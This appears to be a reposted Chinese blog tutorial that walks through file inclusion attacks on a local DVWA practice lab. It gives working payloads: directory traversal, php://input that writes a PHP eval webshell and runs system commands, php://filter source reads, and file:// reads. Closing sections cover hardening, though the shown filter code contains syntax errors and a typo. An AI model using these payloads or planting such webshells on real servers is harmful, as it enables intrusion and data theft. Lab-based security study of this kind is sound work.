我是靠谱客的博主 孝顺宝贝,最近开发中收集的这篇文章主要介绍Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文件包含的漏洞的概括

文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() ... ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。

目录:

         文件包含漏洞的执行规则:

         1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.

         2.验证其存在 远程文件包含漏洞.

         3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.

         4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.

         5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码)

         6.file协议的用法(用来访问本地文件系统)

         7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.

         8.对漏洞代码进行加固.


免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


文件包含漏洞的执行规则:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是python,那就是python去执行文件里面的内容


靶场:  

本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.0.105)

DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客


1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.

(1)确定服务器C盘上有 flag.txt 文件.


(2)验证DVWA靶场文件包含是否存在 本地文件包含 漏洞.

../../../../../../flag.txt      (  ../    是上一个目录的意思.)  (  flag.txt    是文件名.)


(3)如果服务器的后台代码有固定的后缀名限制.

就是加%00,/././././././././......再或者是.................(意思就是:使服务器后台的固定文件名失效)

2.验证其存在 远程文件包含漏洞.

这个是说明 allow_url_include 没有开启.(DVWA靶场的准备工作.)

勾起:phpStudy的allow_url_include

 再改文件里的allow_url_includeOn.

(重启phpStudy)就不会出现 allow_url_include 没有开启了.


验证(DVWA靶场)存在远程文件包含漏洞.

(1)phpinfo是 txt文件.

(2)在192.168.0.105(DVWA靶场地址)的www目录下.


(3)利用DVWA靶场的文件包含漏洞  使得phpinfo文件被php代码执行.

命令:?page=http://192.168.0.105:801/phpinfo.txt


3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.

(1)写入一句话木马用法:

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input

勾选 < Post data >

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>

写入一个 shell.php 文件,内容为 <?php @eval($_POST["bgxg"]); ?>


 (2)浏览刚刚写入 shell.php 文件.

http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php


(3) 用菜刀连接.


4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.

(1)执行php代码用法:

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input

勾选 < Post data >

<?php system('netstat -ano'); ?>

用php代码执行,执行系统命令  查看服务器开放的端口netstat -ano


5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码

(1)原理:php://filter/read=convert.base64-encode/resource=【文件名】

(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file2.php


 (3)然后复制base64编码,再用base64编译器解析(在线找 base64 编译器就行).


6.file协议的用法(用来访问本地文件系统

(1)原理:file://【文件的绝对路径和文件名】

????(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=file://c:/flag.txt


7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.

(1)先找到php配置文件的位置.

利用远程文件包含的方法(phpinfo.txt文件的代码:<?php phpinfo(); ?>):

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt


(2)用写入的木马,进行连接服务器.

(1)http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php          (木马的位置.)
(2)php配置文件的路径:C:phpStudyphpphp-5.4.45php.ini


(3)把 php.ini 文件下载下来,找到 allow_url_include 然后把 On 改为 off


(4)再把 php.ini 文件上传上去,替换掉旧版的php.ini文件(再用远程链接访问,发现访问不了。(成功修复远程文件包含漏洞.)

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt


8.对漏洞代码进行加固.

(1)没有做任何加固的代码.

<?php
$file = $_GET[ 'page' ];
?> 

(2)过滤掉(http://,https://,../,..)的加固方式.

<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );
?>

(3)固定后缀名加固.

<?php
$file = $_GET[ 'page' ];
include($file.".htnl");
?> 

(4)固定文件加固.

<?php
$file = $_GET[ 'page' ];
include('文件名(如:index.php)');
?> 

php伪协议的参考:php伪协议 - 看不尽的尘埃 - 博客园

最后

以上就是孝顺宝贝为你收集整理的Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限)的全部内容,希望文章能够帮你解决Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(33)

评论列表共有 0 条评论

立即
投稿
返回
顶部